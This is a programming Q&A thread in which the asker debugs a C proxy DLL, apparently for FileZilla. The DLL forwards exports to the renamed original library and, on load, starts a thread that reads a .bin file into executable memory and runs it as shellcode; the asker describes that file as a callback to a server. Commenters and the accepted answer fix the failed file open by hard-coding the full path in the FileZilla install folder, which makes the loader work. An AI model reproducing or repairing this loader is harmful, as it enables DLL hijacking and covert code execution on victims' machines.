Turn off "Debug Assertion Failed"

Question

I get the error, "Debug Assertion Failed", when executing my .exe via the Start-Process command in PowerShell. I do not get this error when normally executing via File Explorer (double-click). Please see the error below.

There have been similar questions on this forum that have suggested I add the following code to mute the error:

#define NDEBUG
#include <assert.h>

While solving the error is best practice, I would like to know why the above doesn't work for me. For greater context, I am doing a DLL proxy.

#include "pch.h"
#include <stdio.h>
#include <stdlib.h>
#define NDEBUG
#include <assert.h>

#define _CRT_SECURE_NO_DEPRECATE
#pragma warning (disable : 4996)

#pragma comment(linker, "/export:_nettle_aeads=tmpC652._nettle_aeads,@1")


DWORD WINAPI DoMagic(LPVOID lpParameter)
{
    //https://stackoverflow.com/questions/14002954/c-programming-how-to-read-the-whole-file-contents-into-a-buffer
    FILE* fp;
    size_t size;
    unsigned char* buffer;

    fp = fopen("fz-dump-26072022-1635.bin", "rb");
    fseek(fp, 0, SEEK_END);
    size = ftell(fp);
    fseek(fp, 0, SEEK_SET);
    buffer = (unsigned char*)malloc(size);

    //https://ired.team/offensive-security/code-injection-process-injection/loading-and-executing-shellcode-from-portable-executable-resources
    fread(buffer, size, 1, fp);

    void* exec = VirtualAlloc(0, size, MEM_COMMIT, PAGE_EXECUTE_READWRITE);

    memcpy(exec, buffer, size);

    ((void(*) ())exec)();

    return 0;
}

BOOL APIENTRY DllMain(HMODULE hModule,
    DWORD ul_reason_for_call,
    LPVOID lpReserved
)
{
    HANDLE threadHandle;

    switch (ul_reason_for_call)
    {
    case DLL_PROCESS_ATTACH:
        // https://gist.github.com/securitytube/c956348435cc90b8e1f7
                // Create a thread and close the handle as we do not want to use it to wait for it 
        threadHandle = CreateThread(NULL, 0, DoMagic, NULL, 0, NULL);
        CloseHandle(threadHandle);

    case DLL_THREAD_ATTACH:
        break;
    case DLL_THREAD_DETACH:
        break;
    case DLL_PROCESS_DETACH:
        break;
    }
    return TRUE;
}

There are many more pragmas in the above code. Approx 400 more lines of similar export functions.

Have you considered what would happen if `fp = fopen("fz-dump-26072022-1635.bin", "rb");` fails? Click retry to start the debugger, use the call stack to find your code, and I bet you'll be looking at the `fseek` line. *Always* check for errors. — Retired Ninja, Aug 04 '22 at 18:24
That assertion is in the C runtime library. Link to the non-debug version of that if you aren't already (though the error will persist, it just won't be as easy to debug). My guess is that you're just not running your program from the directory where the file you're opening resides though. — Miles Budnek, Aug 04 '22 at 18:31
Thank you for the quick responses. The `.bin` file is in the directory of the exe opening. Additionally, I can confirm the `.bin` file opens as it is a callback to a server. — Shaun Cockram, Aug 04 '22 at 18:33
You should _never_ want to 'turn off' assertions (at least while they still occur). Instead you should fix whatever is causing the assertion to begin with. — SoronelHaetir, Aug 04 '22 at 18:39
Turning off debug in *your* code doesn't turn it off in the code you're *calling*. The debugger will tell you a lot more than any of us can. — Mark Ransom, Aug 04 '22 at 18:39
I agree with @SoronelHaetir, the assertion is there to tell you you're doing something wrong. You definitely don't want to ignore it. — Mark Ransom, Aug 04 '22 at 18:41
The most common reason to get an assert in fseek is to pass it a NULL pointer. You say the file opens, I don't believe you. — Retired Ninja, Aug 04 '22 at 18:41
If the test is `assert(stream.valid())`, turning off the test isn't going to make the stream any more valid. Instead click Retry to debug the program and investigate what has gone wrong. — BoP, Aug 04 '22 at 18:50
@ShaunCockram *While solving the error is best practice* -- The time you probably spent on trying to turn the assertion off could have been spent on actually fixing the reason why you're getting an assertion error. And in any case, if you could turn off the assertion, your program will continue to run with the error that the assertion would have indicated. What good would it do in running a broken program? — PaulMcKenzie, Aug 04 '22 at 19:14
Thank you all for your feedback. @RetiredNinja , yep you're right. It wasn't opening. I added `if (fp == NULL) { std::cout << "fp failed"; return -1; }` after the fp var declaration and it passed true through the statement. So, the strange issue I am having now is that the code above functions fine on my host machine. However, on my VM with Windows 10 Pro, it errors. I'm going to try and run the above code on another dedicated Windows machine tomorrow to see if it's reproducable. — Shaun Cockram, Aug 04 '22 at 22:56
Thank you @RetiredNinja and everyone else for pointing me in the right direction. I've answered it below. — Shaun Cockram, Aug 05 '22 at 19:19

score 0 · Accepted Answer · answered Aug 05 '22 at 19:19

The solution is quite simple, adding the full path...

fp = fopen("C:\\Program Files\\FileZilla FTP Client\\fz-dump-26072022-1635.bin", "rb");

I found that the value of fp was NULL when executing via the PowerShell command Start-Process. This is because it was adding the file name fz-dump-26072022-1635.bin to the directory where PowerShell is called from, which is C:\Windows\System32\WindowsPowerShell\v1.0\. This explains why double clicking on the .exe works with no error, as the value of fp is correct, while calling it from any other directory doesn't work.

Turn off "Debug Assertion Failed"

1 Answers1